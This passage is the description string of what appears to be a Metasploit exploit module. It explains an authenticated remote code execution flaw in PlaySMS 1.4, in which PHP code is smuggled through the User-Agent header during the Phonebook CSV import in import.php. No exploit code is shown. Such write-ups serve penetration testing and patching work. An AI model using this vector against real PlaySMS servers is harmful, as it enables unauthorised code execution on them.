      'Description' => %q{
          This module exploits an authenticated file upload remote code excution vulnerability
          in PlaySMS Version 1.4. This issue is caused by improper file contents handling in
          import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV
          file containing a malicious payload via vectors involving the User-Agent HTTP header
          and PHP code in the User-Agent.
          This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
